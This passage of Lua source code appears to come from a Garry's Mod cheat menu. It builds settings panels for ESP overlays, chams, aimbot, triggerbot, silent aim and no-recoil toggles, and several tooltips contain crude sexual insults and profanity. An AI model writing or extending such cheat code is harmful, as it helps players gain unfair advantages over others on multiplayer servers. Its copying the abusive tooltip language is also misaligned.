  645.  
  646. local PropA = vgui.Create( "DNumSlider" )
  647. PropA:SetMinMax( 0, 100 )
  648. PropA:SetValue( MS.Settings.Visuals.PropA )
  649. PropA:SetText( "Prop Chams: Opacity" )
  650. PropA:SetDecimals( 0 )
  651. PropA.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  652. PropA.OnValueChanged = function( panel, value )
  653. MS.Settings.Visuals.PropA = value
  654. MS.UpdatePropCol = true
  655. end
  656. PropA:SetSize( 120, 14 )
  657.  
  658. local RainbowMulSlider = vgui.Create( "DNumSlider" )
  659. RainbowMulSlider:SetMinMax( 1, 50 )
  660. RainbowMulSlider:SetValue( MS.Settings.Visuals.rainbowmult )
  661. RainbowMulSlider:SetText( "Rainbow: Phase Speed" )
  662. RainbowMulSlider:SetDecimals( 0 )
  663. RainbowMulSlider.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  664. RainbowMulSlider.OnValueChanged = function( panel, value )
  665. MS.Settings.Visuals.rainbowmult = value
  666. if( !MS.Settings.Visuals.rainbowmult ) then
  667. if( !MS.Settings.Visuals.teamcolours ) then
  668. MS.UpdateCol = true
  669. end
  670. MS.UpdatePropCol = true
  671. end
  672. end
  673. RainbowMulSlider:SetSize( 120, 14 )
  674.  
  675. local ThirdPersonDist = vgui.Create( "DNumSlider" )
  676. ThirdPersonDist:SetMinMax( 0, 2000 )
  677. ThirdPersonDist:SetValue( MS.Settings.Visuals.ThirdPersonDist )
  678. ThirdPersonDist:SetText( "Third Person Distance" )
  679. ThirdPersonDist:SetDecimals( 0 )
  680. ThirdPersonDist.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  681. ThirdPersonDist.OnValueChanged = function( panel, value )
  682. MS.Settings.Visuals.ThirdPersonDist = value
  683. if( MS.Settings.Visuals.ThirdPersonDist <30 ) then
  684. MS.Settings.Visuals.thirdperson = false
  685. return
  686. end
  687. MS.Settings.Visuals.thirdperson = true
  688. end
  689. ThirdPersonDist:SetSize( 120, 14 )
  690.  
  691. local CrosshairSpeed = vgui.Create( "DNumSlider" )
  692. CrosshairSpeed:SetMinMax( 1, 5 )
  693. CrosshairSpeed:SetValue( MS.Settings.Visuals.crosshairspeed )
  694. CrosshairSpeed:SetText( "Crosshair Speed" )
  695. CrosshairSpeed:SetDecimals( 1 )
  696. CrosshairSpeed.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  697. CrosshairSpeed.OnValueChanged = function( panel, value )
  698. MS.Settings.Visuals.crosshairspeed = value
  699. end
  700. CrosshairSpeed:SetSize( 120, 14 )
  701.  
  702. SheetLeft:AddItem( CheckBoxAddWire )
  703. SheetMid:AddItem( CheckBoxCheckTidesGate )
  704. SheetRight:AddItem( CheckBoxCrosshair )
  705.  
  706. SheetLeft:AddItem( CheckBoxModelNames )
  707. SheetMid:AddItem( CheckBoxNoSky )
  708. SheetRight:AddItem( CheckBoxPropChams )
  709.  
  710. SheetLeft:AddItem( CheckBoxPropLeading )
  711. SheetMid:AddItem( CheckBoxRainbow )
  712. SheetRight:AddItem( CheckBoxSaveFPS )
  713.  
  714. SheetLeft:AddItem( CheckBoxNoGunz )
  715. SheetMid:AddItem( CheckBoxTopVelocity )
  716. SheetRight:AddItem( CheckBoxVelocity )
  717.  
  718. SheetLong:AddItem( PropR )
  719. SheetLong:AddItem( PropG )
  720. SheetLong:AddItem( PropB )
  721. SheetLong:AddItem( PropA )
  722. SheetLong:AddItem( RainbowMulSlider )
  723. SheetLong:AddItem( ThirdPersonDist )
  724. SheetLong:AddItem( CrosshairSpeed )
  725.  
  726. return VisualPanel
  727. end
  728.  
  729. local function GeneratePlayerVisualsSheet( w, h )
  730. PlayerVisPanel = vgui.Create( "DPanel" )
  731. PlayerVisPanel:SetPos( 4, 4 )
  732. PlayerVisPanel:SetSize( w - 2, h - 2 )
  733. PlayerVisPanel.Paint = function()
  734. draw.RoundedBox( 3, 0, 0, PlayerVisPanel:GetWide(), PlayerVisPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  735. end
  736.  
  737. local SheetLong = vgui.Create( "DPanelList", PlayerVisPanel )
  738. SheetLong:SetPos( 2, 150 )
  739. SheetLong:SetSize( 305, h/3 )
  740. SheetLong:SetSpacing( 3 )
  741. SheetLong:SetPadding( 4 )
  742. SheetLong:EnableVerticalScrollbar( true )
  743.  
  744. local SheetLeft = vgui.Create( "DPanelList", PlayerVisPanel )
  745. SheetLeft:SetPos( 2, 2 )
  746. SheetLeft:SetSize( 85, h/1.8 )
  747. SheetLeft:SetSpacing( 6 )
  748. SheetLeft:SetPadding( 4 )
  749. SheetLeft:EnableVerticalScrollbar( true )
  750.  
  751. local SheetMid = vgui.Create( "DPanelList", PlayerVisPanel )
  752. SheetMid:SetPos( 85, 2 )
  753. SheetMid:SetSize( 112, h/1.8 )
  754. SheetMid:SetSpacing( 6 )
  755. SheetMid:SetPadding( 4 )
  756. SheetMid:EnableVerticalScrollbar( true )
  757.  
  758. local SheetRight = vgui.Create( "DPanelList", PlayerVisPanel )
  759. SheetRight:SetPos( 190, 2 )
  760. SheetRight:SetSize( 115, h/1.8 )
  761. SheetRight:SetSpacing( 6 )
  762. SheetRight:SetPadding( 4 )
  763. SheetRight:EnableVerticalScrollbar( true )
  764.  
  765. local CustomR = vgui.Create( "DNumSlider" )
  766. CustomR:SetMinMax( 0, 255 )
  767. CustomR:SetValue( MS.Settings.Visuals.CustomR )
  768. CustomR:SetText( "Player Red" )
  769. CustomR:SetDecimals( 0 )
  770. CustomR.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  771. CustomR.OnValueChanged = function( panel, value )
  772. MS.Settings.Visuals.CustomR = value
  773. MS.UpdateCol = true
  774. end
  775. CustomR:SetSize( 120, 15 )
  776.  
  777. local CustomG = vgui.Create( "DNumSlider" )
  778. CustomG:SetMinMax( 0, 255 )
  779. CustomG:SetValue( MS.Settings.Visuals.CustomG )
  780. CustomG:SetText( "Player Green" )
  781. CustomG:SetDecimals( 0 )
  782. CustomG.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  783. CustomG.OnValueChanged = function( panel, value )
  784. MS.Settings.Visuals.CustomG = value
  785. MS.UpdateCol = true
  786. end
  787. CustomG:SetSize( 120, 15 )
  788.  
  789. local CustomB = vgui.Create( "DNumSlider" )
  790. CustomB:SetMinMax( 0, 255 )
  791. CustomB:SetValue( MS.Settings.Visuals.CustomB )
  792. CustomB:SetText( "Player Blue" )
  793. CustomB:SetDecimals( 0 )
  794. CustomB.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  795. CustomB.OnValueChanged = function( panel, value )
  796. MS.Settings.Visuals.CustomB = value
  797. MS.UpdateCol = true
  798. end
  799. CustomB:SetSize( 120, 15 )
  800.  
  801. local HaloSelection = vgui.Create( "DComboBox" )
  802. HaloSelection:SetValue( "Halo/Ms_OverridePhysgun Colour Selection" )
  803. HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: Team" )
  804. HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: Health" )
  805. HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: Custom" )
  806. HaloSelection:AddChoice( "Halo/Ms_OverridePhysgun Colour: RAINBOW" )
  807. HaloSelection.OnSelect = function( panel, index )
  808. MS.Settings.Visuals.haloselection = index
  809. end
  810. if( MS.Settings.Visuals.haloselection )then
  811. HaloSelection:ChooseOptionID( MS.Settings.Visuals.haloselection )
  812. end
  813. HaloSelection:SetSize( 120, 20 )
  814.  
  815. local CheckBoxBoxes = vgui.Create( "DCheckBoxLabel" )
  816. CheckBoxBoxes:SetText( "Boxes" )
  817. CheckBoxBoxes:SetToolTip( "Draws bounding boxes around players" )
  818. CheckBoxBoxes:SetValue( MS.Settings.Visuals.boxes )
  819. CheckBoxBoxes.OnChange = function( _, toggle )
  820. MS.Settings.Visuals.boxes = toggle
  821. end
  822. CheckBoxBoxes:SizeToContents()
  823.  
  824. local CheckBoxESPDistance = vgui.Create( "DCheckBoxLabel" )
  825. CheckBoxESPDistance:SetText( "ESP Dist" )
  826. CheckBoxESPDistance:SetToolTip( "Adds distance from player to ESP" )
  827. CheckBoxESPDistance:SetValue( MS.Settings.Visuals.Text.distance )
  828. CheckBoxESPDistance.OnChange = function( _, toggle )
  829. MS.Settings.Visuals.Text.distance = toggle
  830. end
  831. CheckBoxESPDistance:SizeToContents()
  832.  
  833. local CheckBoxESPHealth = vgui.Create( "DCheckBoxLabel" )
  834. CheckBoxESPHealth:SetText( "ESP HP" )
  835. CheckBoxESPHealth:SetToolTip( "Adds player health to ESP" )
  836. CheckBoxESPHealth:SetValue( MS.Settings.Visuals.Text.health )
  837. CheckBoxESPHealth.OnChange = function( _, toggle )
  838. MS.Settings.Visuals.Text.health = toggle
  839. end
  840. CheckBoxESPHealth:SizeToContents()
  841.  
  842. local CheckBoxESPMingeNameTags = vgui.Create( "DCheckBoxLabel" )
  843. CheckBoxESPMingeNameTags:SetText( "ESP Minges" )
  844. CheckBoxESPMingeNameTags:SetToolTip( "Adds minge nametags to ESP" )
  845. CheckBoxESPMingeNameTags:SetValue( MS.Settings.Visuals.Text.mingenametags )
  846. CheckBoxESPMingeNameTags.OnChange = function( _, toggle )
  847. MS.Settings.Visuals.Text.mingenametags = toggle
  848. end
  849. CheckBoxESPMingeNameTags:SizeToContents()
  850.  
  851. local CheckBoxESPNames = vgui.Create( "DCheckBoxLabel" )
  852. CheckBoxESPNames:SetText( "ESP Name" )
  853. CheckBoxESPNames:SetToolTip( "Adds player name to ESP" )
  854. CheckBoxESPNames:SetValue( MS.Settings.Visuals.Text.names )
  855. CheckBoxESPNames.OnChange = function( _, toggle )
  856. MS.Settings.Visuals.Text.names = toggle
  857. end
  858. CheckBoxESPNames:SizeToContents()
  859.  
  860. local CheckBoxESPEnabled = vgui.Create( "DCheckBoxLabel" )
  861. CheckBoxESPEnabled:SetText( "ESP On" )
  862. CheckBoxESPEnabled:SetToolTip( "HUR DURDURFFFHURRFF I CAN'T STOP SUCKING DICKS DURFF" )
  863. CheckBoxESPEnabled:SetValue( MS.Settings.Visuals.Text.on )
  864. CheckBoxESPEnabled.OnChange = function( _, toggle )
  865. MS.Settings.Visuals.Text.on = toggle
  866. end
  867. CheckBoxESPEnabled:SizeToContents()
  868.  
  869. local CheckBoxESPRank = vgui.Create( "DCheckBoxLabel" )
  870. CheckBoxESPRank:SetText( "ESP Rank" )
  871. CheckBoxESPRank:SetToolTip( "Adds player rank to ESP" )
  872. CheckBoxESPRank:SetValue( MS.Settings.Visuals.Text.rank )
  873. CheckBoxESPRank.OnChange = function( _, toggle )
  874. MS.Settings.Visuals.Text.rank = toggle
  875. end
  876. CheckBoxESPRank:SizeToContents()
  877.  
  878. local CheckBoxESPVel = vgui.Create( "DCheckBoxLabel" )
  879. CheckBoxESPVel:SetText( "ESP Speed" )
  880. CheckBoxESPVel:SetToolTip( "Adds player's velocity to ESP" )
  881. CheckBoxESPVel:SetValue( MS.Settings.Visuals.Text.espvelocity )
  882. CheckBoxESPVel.OnChange = function( _, toggle )
  883. MS.Settings.Visuals.Text.espvelocity = toggle
  884. end
  885. CheckBoxESPVel:SizeToContents()
  886.  
  887. local CheckBoxESPWeapon = vgui.Create( "DCheckBoxLabel" )
  888. CheckBoxESPWeapon:SetText( "ESP Weapon" )
  889. CheckBoxESPWeapon:SetToolTip( "Adds player weapon to ESP" )
  890. CheckBoxESPWeapon:SetValue( MS.Settings.Visuals.Text.weapon )
  891. CheckBoxESPWeapon.OnChange = function( _, toggle )
  892. MS.Settings.Visuals.Text.weapon = toggle
  893. end
  894. CheckBoxESPWeapon:SizeToContents()
  895.  
  896. local CheckBoxEyeTrace = vgui.Create( "DCheckBoxLabel" )
  897. CheckBoxEyeTrace:SetText( "Eye Trace" )
  898. CheckBoxEyeTrace:SetToolTip( "Draw a beam showing the player's aim" )
  899. CheckBoxEyeTrace:SetValue( MS.Settings.Visuals.eyetrace )
  900. CheckBoxEyeTrace.OnChange = function( _, toggle )
  901. MS.Settings.Visuals.eyetrace = toggle
  902. end
  903.  
  904. local CheckBoxHeadSmashBall = vgui.Create( "DCheckBoxLabel" )
  905. CheckBoxHeadSmashBall:SetText( "Headsmash Ball" )
  906. CheckBoxHeadSmashBall:SetTooltip( "ENABLES THE MAGICAL HEADSMASH BALL" )
  907. CheckBoxHeadSmashBall:SetValue( MS.Settings.Visuals.headsmashball )
  908. CheckBoxHeadSmashBall.OnChange = function( _, toggle )
  909. MS.Settings.Visuals.headsmashball = toggle
  910. end
  911. CheckBoxHeadSmashBall:SizeToContents()
  912.  
  913. local CheckBoxHeadSmash = vgui.Create( "DCheckBoxLabel" )
  914. CheckBoxHeadSmash:SetText( "Headsmash Beam" )
  915. CheckBoxHeadSmash:SetTooltip( "ENABLES THE MAGICAL HEADSMASH BEAM" )
  916. CheckBoxHeadSmash:SetValue( MS.Settings.Visuals.headsmash )
  917. CheckBoxHeadSmash.OnChange = function( _, toggle )
  918. MS.Settings.Visuals.headsmash = toggle
  919. end
  920. CheckBoxHeadSmash:SizeToContents()
  921.  
  922. local CheckBoxPlayerChams = vgui.Create( "DCheckBoxLabel" )
  923. CheckBoxPlayerChams:SetText( "Chams" )
  924. CheckBoxPlayerChams:SetToolTip( "Enables player chams" )
  925. CheckBoxPlayerChams:SetValue( MS.Settings.Visuals.playerchams )
  926. CheckBoxPlayerChams.OnChange = function( _, toggle )
  927. MS.Settings.Visuals.playerchams = toggle
  928. end
  929. CheckBoxPlayerChams:SizeToContents()
  930.  
  931. local CheckBoxHalos = vgui.Create( "DCheckBoxLabel" )
  932. CheckBoxHalos:SetText( "Halos" )
  933. CheckBoxHalos:SetToolTip( "Makes people glow and shit" )
  934. CheckBoxHalos:SetValue( MS.Settings.Visuals.halos )
  935. CheckBoxHalos.OnChange = function( _, toggle )
  936. MS.Settings.Visuals.halos = toggle
  937. end
  938. CheckBoxHalos:SizeToContents()
  939.  
  940. local CheckBoxPlayerLeading = vgui.Create( "DCheckBoxLabel" )
  941. CheckBoxPlayerLeading:SetText( "Prediction" )
  942. CheckBoxPlayerLeading:SetToolTip( "Player trajectory prediction, pretty shitty" )
  943. CheckBoxPlayerLeading:SetValue( MS.Settings.Visuals.playerleading )
  944. CheckBoxPlayerLeading.OnChange = function( _, toggle )
  945. MS.Settings.Visuals.playerleading = toggle
  946. end
  947. CheckBoxPlayerLeading:SizeToContents()
  948.  
  949. local CheckBoxPlayerLighting = vgui.Create( "DCheckBoxLabel" )
  950. CheckBoxPlayerLighting:SetText( "Shadows" )
  951. CheckBoxPlayerLighting:SetTooltip( "Enable shadows on player chams" )
  952. CheckBoxPlayerLighting:SetValue( MS.Settings.Visuals.playersuppressenginelighting )
  953. CheckBoxPlayerLighting.OnChange = function( _, toggle )
  954. MS.Settings.Visuals.playersuppressenginelighting = toggle
  955. end
  956. CheckBoxPlayerLighting:SizeToContents()
  957.  
  958. local CheckBoxTeamColours = vgui.Create( "DCheckBoxLabel" )
  959. CheckBoxTeamColours:SetText( "Team Colour" )
  960. CheckBoxTeamColours:SetToolTip( "Sets each player's esp info, chams and beams to the colour of their team" )
  961. CheckBoxTeamColours:SetValue( MS.Settings.Visuals.teamcolours )
  962. CheckBoxTeamColours.OnChange = function( _, toggle )
  963. MS.Settings.Visuals.teamcolours = toggle
  964. if( !MS.Settings.Visuals.teamcolours ) then
  965. MS.UpdateCol = true
  966. end
  967. end
  968. CheckBoxTeamColours:SizeToContents()
  969.  
  970. local CheckBoxTraitor = vgui.Create( "DCheckBoxLabel" )
  971. CheckBoxTraitor:SetText( "Traitors" )
  972. CheckBoxTraitor:SetToolTip( "Alerts you if anyone equips a traitor weapon" )
  973. CheckBoxTraitor:SetValue( MS.Settings.Visuals.traitor )
  974. CheckBoxTraitor.OnChange = function( _, toggle )
  975. MS.Settings.Visuals.traitor = toggle
  976. end
  977. CheckBoxTraitor:SizeToContents()
  978.  
  979. local CheckBoxVerticalBeam = vgui.Create( "DCheckBoxLabel" )
  980. CheckBoxVerticalBeam:SetText( "Vert Beam" )
  981. CheckBoxVerticalBeam:SetTooltip( "Enables vertical beam" )
  982. CheckBoxVerticalBeam:SetValue( MS.Settings.Visuals.verticalbeam )
  983. CheckBoxVerticalBeam.OnChange = function( _, toggle )
  984. MS.Settings.Visuals.verticalbeam = toggle
  985. end
  986. CheckBoxVerticalBeam:SizeToContents()
  987.  
  988. local CheckBoxWeaponChams = vgui.Create( "DCheckBoxLabel" )
  989. CheckBoxWeaponChams:SetText( "Weapon Chams" )
  990. CheckBoxWeaponChams:SetTooltip( "Add weapons to player chams" )
  991. CheckBoxWeaponChams:SetValue( MS.Settings.Visuals.weaponchams )
  992. CheckBoxWeaponChams.OnChange = function( _, toggle )
  993. MS.Settings.Visuals.weaponchams = toggle
  994. end
  995. CheckBoxWeaponChams:SizeToContents()
  996.  
  997. SheetLong:AddItem( CustomR )
  998. SheetLong:AddItem( CustomG )
  999. SheetLong:AddItem( CustomB )
  1000. SheetLong:AddItem( HaloSelection )
  1001.  
  1002. SheetLeft:AddItem( CheckBoxESPDistance )
  1003. SheetMid:AddItem( CheckBoxESPHealth )
  1004. SheetRight:AddItem( CheckBoxESPMingeNameTags )
  1005.  
  1006. SheetLeft:AddItem( CheckBoxESPNames )
  1007. SheetMid:AddItem( CheckBoxESPEnabled )
  1008. SheetRight:AddItem( CheckBoxESPRank )
  1009.  
  1010. SheetLeft:AddItem( CheckBoxESPVel )
  1011. SheetMid:AddItem( CheckBoxESPWeapon )
  1012. SheetRight:AddItem( CheckBoxBoxes )
  1013.  
  1014. SheetLeft:AddItem( CheckBoxEyeTrace )
  1015. SheetMid:AddItem( CheckBoxHeadSmashBall )
  1016. SheetRight:AddItem( CheckBoxHeadSmash )
  1017.  
  1018. SheetLeft:AddItem( CheckBoxPlayerChams )
  1019. SheetMid:AddItem( CheckBoxHalos )
  1020. SheetRight:AddItem( CheckBoxPlayerLeading )
  1021.  
  1022. SheetLeft:AddItem( CheckBoxPlayerLighting )
  1023. SheetMid:AddItem( CheckBoxTeamColours )
  1024. SheetRight:AddItem( CheckBoxTraitor )
  1025.  
  1026. SheetLeft:AddItem( CheckBoxVerticalBeam )
  1027. SheetMid:AddItem( CheckBoxWeaponChams )
  1028. return PlayerVisPanel
  1029. end
  1030.  
  1031. local function GenerateAimbotSheet( w, h )
  1032. AimbotPanel = vgui.Create( "DPanel" )
  1033. AimbotPanel:SetPos( 2, 2 )
  1034. AimbotPanel:SetSize( w - 4, h - 4 )
  1035. AimbotPanel.Paint = function()
  1036. draw.RoundedBox( 3, 0, 0, AimbotPanel:GetWide(), AimbotPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1037. end
  1038.  
  1039. local SheetLong = vgui.Create( "DPanelList", AimbotPanel )
  1040. SheetLong:SetPos( 2, 90 )
  1041. SheetLong:SetSize( 305, h )
  1042. SheetLong:SetSpacing( 3 )
  1043. SheetLong:SetPadding( 4 )
  1044. SheetLong:EnableVerticalScrollbar( true )
  1045.  
  1046. local SheetLeft = vgui.Create( "DPanelList", AimbotPanel )
  1047. SheetLeft:SetPos( 2, 2 )
  1048. SheetLeft:SetSize( 102, h/3 )
  1049. SheetLeft:SetSpacing( 6 )
  1050. SheetLeft:SetPadding( 4 )
  1051. SheetLeft:EnableVerticalScrollbar( true )
  1052.  
  1053. local SheetMid = vgui.Create( "DPanelList", AimbotPanel )
  1054. SheetMid:SetPos( 100, 2 )
  1055. SheetMid:SetSize( 120, h/3 )
  1056. SheetMid:SetSpacing( 6 )
  1057. SheetMid:SetPadding( 4 )
  1058. SheetMid:EnableVerticalScrollbar( true )
  1059.  
  1060. local SheetRight = vgui.Create( "DPanelList", AimbotPanel )
  1061. SheetRight:SetPos( 190, 2 )
  1062. SheetRight:SetSize( 115, h/3 )
  1063. SheetRight:SetSpacing( 6 )
  1064. SheetRight:SetPadding( 4 )
  1065. SheetRight:EnableVerticalScrollbar( true )
  1066.  
  1067. local IgnoreFriends = vgui.Create( "DCheckBoxLabel" )
  1068. IgnoreFriends:SetValue( MS.Settings.Aimbot.ignorefriends )
  1069. IgnoreFriends:SetText( "Ignore Friends" )
  1070. IgnoreFriends:SetTooltip( "Aimbot ignores steam friends" )
  1071. IgnoreFriends.OnChange = function( _, value )
  1072. MS.Settings.Aimbot.ignorefriends = value
  1073. end
  1074.  
  1075. local IgnoreTeammates = vgui.Create( "DCheckBoxLabel" )
  1076. IgnoreTeammates:SetValue( MS.Settings.Aimbot.ignoreteammates )
  1077. IgnoreTeammates:SetText( "Ignore Team" )
  1078. IgnoreTeammates:SetTooltip( "DICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKSDICKS" )
  1079. IgnoreTeammates.OnChange = function( _, value )
  1080. MS.Settings.Aimbot.ignoreteammates = value
  1081. end
  1082.  
  1083. local ShittySilentAim = vgui.Create( "DCheckBoxLabel" )
  1084. ShittySilentAim:SetValue( MS.Settings.Aimbot.silent )
  1085. ShittySilentAim:SetText( "Silent" )
  1086. ShittySilentAim:SetTooltip( "Aims back to where you were previously looking after aimbotting, pretty shitty" )
  1087. ShittySilentAim.OnChange = function( _, value )
  1088. MS.Settings.Aimbot.silent = value
  1089. end
  1090.  
  1091. local AimSmooth = vgui.Create( "DCheckBoxLabel" )
  1092. AimSmooth:SetValue( MS.Settings.Aimbot.aimsmoothon )
  1093. AimSmooth:SetText( "Smoothing" )
  1094. AimSmooth:SetToolTip( "Gradually moves to target instead of snapping" )
  1095. AimSmooth.OnChange = function( _, value )
  1096. MS.Settings.Aimbot.aimsmoothon = value
  1097. end
  1098.  
  1099. local CheckBoxTracing = vgui.Create( "DCheckBoxLabel" )
  1100. CheckBoxTracing:SetText( "Full Body" )
  1101. CheckBoxTracing:SetValue( MS.Settings.Aimbot.multitrace )
  1102. CheckBoxTracing:SetToolTip( "Only targets people who are entirely out in the open" )
  1103. CheckBoxTracing.OnChange = function( _, toggle )
  1104. MS.Settings.Aimbot.multitrace = toggle
  1105. end
  1106. CheckBoxTracing:SizeToContents()
  1107.  
  1108. local TargetNPCs = vgui.Create( "DCheckBoxLabel" )
  1109. TargetNPCs:SetValue( MS.Settings.Aimbot.targetnpcs )
  1110. TargetNPCs:SetText( "NPCs" )
  1111. TargetNPCs:SetTooltip( "Take a wild guess you cunt" )
  1112. TargetNPCs.OnChange = function( _, value )
  1113. MS.Settings.Aimbot.targetnpcs = value
  1114. end
  1115.  
  1116. local CheckBoxNoRecoil = vgui.Create( "DCheckBoxLabel" )
  1117. CheckBoxNoRecoil:SetText( "No Recoil" )
  1118. CheckBoxNoRecoil:SetToolTip( "Requires reconnect, won't work on a few weapon packs" )
  1119. CheckBoxNoRecoil:SetValue( MS.Settings.Aimbot.norecoil )
  1120. CheckBoxNoRecoil.OnChange = function( _, toggle )
  1121. MS.Settings.Aimbot.norecoil = toggle
  1122. end
  1123. CheckBoxNoRecoil:SizeToContents()
  1124.  
  1125. local CheckBoxNoShake = vgui.Create( "DCheckBoxLabel" )
  1126. CheckBoxNoShake:SetText( "No Shake" )
  1127. CheckBoxNoShake:SetValue( MS.Settings.Aimbot.noshake )
  1128. CheckBoxNoShake:SetToolTip( "Different thing to no recoil, will fuck things like falcop_spectate" )
  1129. CheckBoxNoShake.OnChange = function( _, toggle )
  1130. MS.Settings.Aimbot.noshake = toggle
  1131. if( MS.Settings.Aimbot.noshake ) then
  1132. HKA( "CalcView", "NoShake", NoShake )
  1133. return
  1134. end
  1135. HKR( "CalcView", "NoShake" )
  1136. end
  1137. CheckBoxNoShake:SizeToContents()
  1138.  
  1139. local CheckBoxRapidFire = vgui.Create( "DCheckBoxLabel" )
  1140. CheckBoxRapidFire:SetText( "Rapid Fire" )
  1141. CheckBoxRapidFire:SetValue( MS.Settings.TriggerBot.rapidfire )
  1142. CheckBoxRapidFire:SetToolTip( "Spams +attack when you left click" )
  1143. CheckBoxRapidFire.OnChange = function( _, toggle )
  1144. MS.Settings.TriggerBot.rapidfire = toggle
  1145. end
  1146. CheckBoxRapidFire:SizeToContents()
  1147.  
  1148. local CheckBoxTrigger = vgui.Create( "DCheckBoxLabel" )
  1149. CheckBoxTrigger:SetText( "TriggerBot" )
  1150. CheckBoxTrigger:SetToolTip( "Automatically fires when you aim at someone" )
  1151. CheckBoxTrigger:SetValue( MS.Settings.TriggerBot.enabled )
  1152. CheckBoxTrigger.OnChange = function( _, toggle )
  1153. MS.Settings.TriggerBot.enabled = toggle
  1154. end
  1155. CheckBoxTrigger:SizeToContents()
  1156.  
  1157. local CheckBoxOnAim = vgui.Create( "DCheckBoxLabel" )
  1158. CheckBoxOnAim:SetText( "Aimbot Only" )
  1159. CheckBoxOnAim:SetValue( MS.Settings.TriggerBot.onlyaim )
  1160. CheckBoxOnAim:SetToolTip( "Triggerbot will only shoot people while aimbotting" )
  1161. CheckBoxOnAim.OnChange = function( _, toggle )
  1162. MS.Settings.TriggerBot.onlyaim = toggle
  1163. end
  1164. CheckBoxOnAim:SizeToContents()
  1165.  
  1166. local SliderSnap = vgui.Create( "DNumSlider" )
  1167. SliderSnap:SetMinMax( 0, 2 )
  1168. SliderSnap:SetValue( MS.Settings.Aimbot.snapwait )
  1169. SliderSnap:SetText( "Delay" )
  1170. SliderSnap:SetDecimals( 1 )
  1171. SliderSnap.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  1172. SliderSnap:SetToolTip( "Delay between shooting people" )
  1173. SliderSnap.OnValueChanged = function( panel, value )
  1174. MS.Settings.Aimbot.snapwait = value
  1175. end
  1176. SliderSnap:SetSize( 120, 25 )
  1177.  
  1178. local SliderFOV = vgui.Create( "DNumSlider" )
  1179. SliderFOV:SetMinMax( 1, 180 )
  1180. SliderFOV:SetValue( MS.Settings.Aimbot.maxfov )
  1181. SliderFOV:SetText( "FOV" )
  1182. SliderFOV:SetDecimals( 0 )
  1183. SliderFOV.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  1184. SliderFOV:SetToolTip( "Degrees from crosshair in which the aimbot will shoot people" )
  1185. SliderFOV.OnValueChanged = function( panel, value )
  1186. MS.Settings.Aimbot.maxfov = value
  1187. end
  1188. SliderFOV:SetSize( 120, 25 )
  1189.  
  1190. local SliderSmooth = vgui.Create( "DNumSlider" )
  1191. SliderSmooth:SetMinMax( 1, 50 )
  1192. SliderSmooth:SetValue( MS.Settings.Aimbot.aimsmooth )
  1193. SliderSmooth:SetText( "Smoothed Aim Speed" )
  1194. SliderSmooth:SetDecimals( 0 )
  1195. SliderSmooth.TextArea:SetTextColor( Color( 190, 190, 190 ) )
  1196. SliderSmooth:SetToolTip( "How fast smoothed aim shoots people" )
  1197. SliderSmooth.OnValueChanged = function( panel, value )
  1198. MS.Settings.Aimbot.aimsmooth = value
  1199. end
  1200. SliderSmooth:SetSize( 120, 25 )
  1201.  
  1202. local LabelBone = vgui.Create( "DLabel" )
  1203. LabelBone:SetText( "Target Area" )
  1204. LabelBone:SizeToContents()
  1205.  
  1206. local BoneComboBox = vgui.Create( "DComboBox" )
  1207. BoneComboBox:SetValue( MS.Settings.Aimbot.AimFor )
  1208. BoneComboBox.OnSelect = function( _, _, value )
  1209. MS.Settings.Aimbot.AimFor = value
  1210. end
  1211. for k,v in pairs( MS.Settings.Aimbot.Bones ) do
  1212. BoneComboBox:AddChoice( v )
  1213. end
  1214.  
  1215. SheetLeft:AddItem( IgnoreFriends )
  1216. SheetMid:AddItem( IgnoreTeammates )
  1217. SheetRight:AddItem( ShittySilentAim )
  1218.  
  1219. SheetLeft:AddItem( AimSmooth )
  1220. SheetMid:AddItem( CheckBoxTracing )
  1221. SheetRight:AddItem( TargetNPCs )
  1222.  
  1223. SheetLeft:AddItem( CheckBoxNoRecoil )
  1224. SheetMid:AddItem( CheckBoxNoShake )
  1225. SheetRight:AddItem( CheckBoxRapidFire )
  1226.  
  1227. SheetLeft:AddItem( CheckBoxTrigger )
  1228. SheetMid:AddItem( CheckBoxOnAim )
  1229.  
  1230. SheetLong:AddItem( SliderSnap )
  1231. SheetLong:AddItem( SliderFOV )
  1232. SheetLong:AddItem( SliderSmooth )
  1233. SheetLong:AddItem( LabelBone )
  1234. SheetLong:AddItem( BoneComboBox )
  1235. return AimbotPanel
  1236. end
  1237.  
  1238. local function GenerateFriendsSheet( w, h )
  1239. FriendsPanel = vgui.Create( "DPanel" )
  1240. FriendsPanel:SetPos( 2, 2 )
  1241. FriendsPanel:SetSize( w - 4, h - 4 )
  1242. FriendsPanel.Paint = function()
  1243. draw.RoundedBox( 3, 0, 0, FriendsPanel:GetWide(), FriendsPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1244. end
  1245.  
  1246. local SheetLeft = vgui.Create( "DPanelList", FriendsPanel )
